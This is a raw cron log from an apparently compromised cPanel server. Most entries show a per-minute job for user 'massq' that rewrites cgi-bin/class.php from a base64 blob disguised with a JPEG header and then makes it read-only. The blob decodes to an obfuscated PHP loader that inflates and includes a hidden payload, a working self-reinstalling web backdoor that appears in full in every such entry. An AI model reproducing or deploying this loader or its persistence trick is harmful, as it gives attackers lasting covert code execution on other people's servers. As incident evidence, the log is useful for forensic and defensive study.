Nov 15 20:40:01 server CROND[8762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:40:01 server CROND[8763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:40:01 server CROND[8761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 20:40:01 server CROND[8764]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:41:01 server CROND[9153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:42:01 server CROND[9412]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 20:42:01 server CROND[9413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:43:01 server CROND[9689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:44:01 server CROND[9950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:45:01 server CROND[10313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:45:01 server CROND[10314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:45:01 server CROND[10315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:46:01 server CROND[10617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:47:01 server CROND[10885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:48:01 server CROND[11193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:49:01 server CROND[11459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:50:01 server CROND[11815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:50:01 server CROND[11816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:50:01 server CROND[11818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 20:50:01 server CROND[11821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:50:01 server CROND[11819]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 20:51:01 server CROND[12131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:52:01 server CROND[12383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
